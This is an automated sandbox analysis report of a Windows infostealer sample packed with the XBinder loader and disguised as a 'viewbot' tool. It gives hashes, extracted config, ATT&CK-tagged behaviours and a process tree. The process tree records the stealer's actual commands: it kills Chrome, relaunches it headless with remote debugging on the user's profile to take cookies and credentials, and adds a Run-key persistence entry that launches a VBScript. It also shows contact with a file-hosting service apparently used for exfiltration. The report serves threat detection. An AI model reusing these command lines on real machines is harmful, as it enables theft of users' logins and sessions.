xbinder | 16cc8ff66b1f2accbc5b55ab5a52731ae62b49fe170cc948a417c16956813c38

Analysis

user interaction
yes
max time kernel
150s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/10/2026, 23:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
viewbot _go.exe
Size 19.1MB
Sample261014-23a6tsct71
SHA256 16cc8ff66b1f2accbc5b55ab5a52731ae62b49fe170cc948a417c16956813c38
MD5 4d0450fcbb948b922f4ea50ba9865f05
SHA1 b846a66a031d5bbd9b8f427b93c7667eba4b4c22
SHA512 a5cd4283af1161be1b93d980bb67a99a6cd97f72d88289d03977921d695cdb3597a6e1177dd314909a8ca5bd3af079353aefc651aa194d0d7abc039201779cd3
SSDEEP 393216:U3FEnNVY9Oby5vDH1Zx4uo+Y29WwXSVGcChr/ZhW8y0WO9ht7Zeih7QdDJ+L:wEn4nDH1vml29WwXAGcC5/nW8i8ht7ZH
TLSH
T1261733A53DD10DC3D9CF4BB233E3D120E5AC39660B42E45E0D592B1B29166F6B21EE6C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution xbinder loader persistence pyinstaller spyware stealer

Malware Config

Extracted

Family

xbinder

Mutex

LyFLBh8QpUAloVwFR

Attributes

primary_drop_directory
%Temp%
primary_execute
true
primary_hidden_file
false
primary_resource_name
viewbot_go.exe
secondary_drop_directory
%Temp%
secondary_execute
true
secondary_hidden_file
false
secondary_resource_name
w64ms.exe

Signatures

Family: XBinder
XBinder is a crypter and loader delivering a wide variety of malware, written in C#.
loader xbinder

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2916	powershell.exe
5996	powershell.exe

Uses browser remote debugging 2 TTPs 19 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4424	msedge.exe
4808	msedge.exe
3704	chrome.exe
4520	chrome.exe
5336	chrome.exe
4632	chrome.exe
5892	chrome.exe
5252	chrome.exe
4388	chrome.exe
5396	chrome.exe
3320	chrome.exe
4124	msedge.exe
5548	msedge.exe
3348	chrome.exe
1964	chrome.exe
5332	msedge.exe
3436	chrome.exe
1272	chrome.exe
3428	chrome.exe

Executes dropped EXE 3 IoCs

pid	Process
3256	viewbot_go.exe
1916	w64ms.exe
844	w64ms.exe

Loads dropped DLL 34 IoCs

pid	Process
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\vtAqjUegAu = "wscript.exe C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\vtAqjUegAu.vbs"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	api.gofile.io
132	api.gofile.io

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
7	api.ipify.org
129	api.ipify.org

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1912	wscript.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4252	cmd.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4124_326431477\_locales\cy\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000e00000001c422-19.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4692	cmd.exe
2448	cmd.exe
3432	cmd.exe
3408	cmd.exe
2032	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	w64ms.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	w64ms.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5904	chrome.exe
3880	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
1964	taskkill.exe
4224	taskkill.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1404337215-1550464601-2805570857-1000\{B31E3166-9DA1-4183-A1B8-71F52384B674}	msedge.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
844	w64ms.exe
3704	chrome.exe
3704	chrome.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	844	w64ms.exe
Token: SeDebugPrivilege	844	w64ms.exe
Token: SeDebugPrivilege	1964	taskkill.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeDebugPrivilege	4224	taskkill.exe
Token: SeDebugPrivilege	5996	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3704	chrome.exe
4124	msedge.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 1000 wrote to memory of 3256	1000	viewbot _go.exe	89
PID 1000 wrote to memory of 1916	1000	viewbot _go.exe	91
PID 3256 wrote to memory of 4692	3256	viewbot_go.exe	92
PID 1916 wrote to memory of 844	1916	w64ms.exe	93
PID 844 wrote to memory of 1964	844	w64ms.exe	95
PID 844 wrote to memory of 3704	844	w64ms.exe	97
PID 3704 wrote to memory of 4028	3704	chrome.exe	98
PID 3704 wrote to memory of 3568	3704	chrome.exe	99
PID 3704 wrote to memory of 5904	3704	chrome.exe	101
PID 3704 wrote to memory of 5740	3704	chrome.exe	102
PID 3704 wrote to memory of 4388	3704	chrome.exe	103
PID 3704 wrote to memory of 4520	3704	chrome.exe	104
PID 3704 wrote to memory of 3348	3704	chrome.exe	105
PID 3704 wrote to memory of 5492	3704	chrome.exe	106
PID 3704 wrote to memory of 4180	3704	chrome.exe	107
PID 3704 wrote to memory of 5396	3704	chrome.exe	108
PID 3704 wrote to memory of 5336	3704	chrome.exe	109
PID 3704 wrote to memory of 4632	3704	chrome.exe	110
PID 3704 wrote to memory of 5892	3704	chrome.exe	113
PID 3704 wrote to memory of 544	3704	chrome.exe	114
PID 3704 wrote to memory of 3320	3704	chrome.exe	115
PID 3704 wrote to memory of 5252	3704	chrome.exe	116
PID 3704 wrote to memory of 3436	3704	chrome.exe	117
PID 3704 wrote to memory of 1964	3704	chrome.exe	118
PID 3704 wrote to memory of 4168	3704	chrome.exe	119
PID 3704 wrote to memory of 5908	3704	chrome.exe	120
PID 3704 wrote to memory of 3428	3704	chrome.exe	121
PID 3704 wrote to memory of 1272	3704	chrome.exe	122
PID 844 wrote to memory of 4224	844	w64ms.exe	123
PID 844 wrote to memory of 4124	844	w64ms.exe	125
PID 4124 wrote to memory of 5396	4124	msedge.exe	126
PID 4124 wrote to memory of 1592	4124	msedge.exe	127
PID 4124 wrote to memory of 3880	4124	msedge.exe	128
PID 4124 wrote to memory of 4228	4124	msedge.exe	129
PID 4124 wrote to memory of 4808	4124	msedge.exe	131
PID 4124 wrote to memory of 4424	4124	msedge.exe	132
PID 4124 wrote to memory of 5332	4124	msedge.exe	133
PID 4124 wrote to memory of 5548	4124	msedge.exe	134
PID 4124 wrote to memory of 3252	4124	msedge.exe	136
PID 4124 wrote to memory of 1940	4124	msedge.exe	137
PID 4124 wrote to memory of 3512	4124	msedge.exe	138
PID 4124 wrote to memory of 3384	4124	msedge.exe	140
PID 4124 wrote to memory of 5256	4124	msedge.exe	141
PID 4124 wrote to memory of 3124	4124	msedge.exe	142
PID 844 wrote to memory of 5996	844	w64ms.exe	144
PID 844 wrote to memory of 4252	844	w64ms.exe	146
PID 4252 wrote to memory of 5324	4252	cmd.exe	148
PID 844 wrote to memory of 2448	844	w64ms.exe	149
PID 2448 wrote to memory of 5344	2448	cmd.exe	151
PID 844 wrote to memory of 1912	844	w64ms.exe	152
PID 1912 wrote to memory of 2916	1912	wscript.exe	153
PID 3256 wrote to memory of 3432	3256	viewbot_go.exe	156
PID 3256 wrote to memory of 3408	3256	viewbot_go.exe	157
PID 3256 wrote to memory of 2032	3256	viewbot_go.exe	158

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5324	attrib.exe

C:\Users\Admin\AppData\Local\Temp\viewbot _go.exe
"C:\Users\Admin\AppData\Local\Temp\viewbot _go.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1000
- C:\Users\Admin\AppData\Local\Temp\viewbot_go.exe
  "C:\Users\Admin\AppData\Local\Temp\viewbot_go.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\system32\cmd.exe
    cmd /c cls
    3⤵
    - Executes a command shell one-liner
    PID:4692
- - C:\Windows\system32\cmd.exe
    cmd /c cls
    3⤵
    - Executes a command shell one-liner
    PID:3432
- - C:\Windows\system32\cmd.exe
    cmd /c cls
    3⤵
    - Executes a command shell one-liner
    PID:3408
- - C:\Windows\system32\cmd.exe
    cmd /c cls
    3⤵
    - Executes a command shell one-liner
    PID:2032
- C:\Users\Admin\AppData\Local\Temp\w64ms.exe
  "C:\Users\Admin\AppData\Local\Temp\w64ms.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Users\Admin\AppData\Local\Temp\w64ms.exe
    "C:\Users\Admin\AppData\Local\Temp\w64ms.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:844
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1964
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3704
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffed932c728,0x7ffed932c734,0x7ffed932c740
        5⤵
        
        PID:4028
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1800 /prefetch:2
        5⤵
        
        PID:3568
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2660 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5904
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2688 /prefetch:13
        5⤵
        
        PID:5740
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2872 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2896 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4520
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4076 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3348
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:14
        5⤵
        
        PID:5492
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:14
        5⤵
        
        PID:4180
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5396
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1808,i,16607591630291327670,2324216529472916086,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5336
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
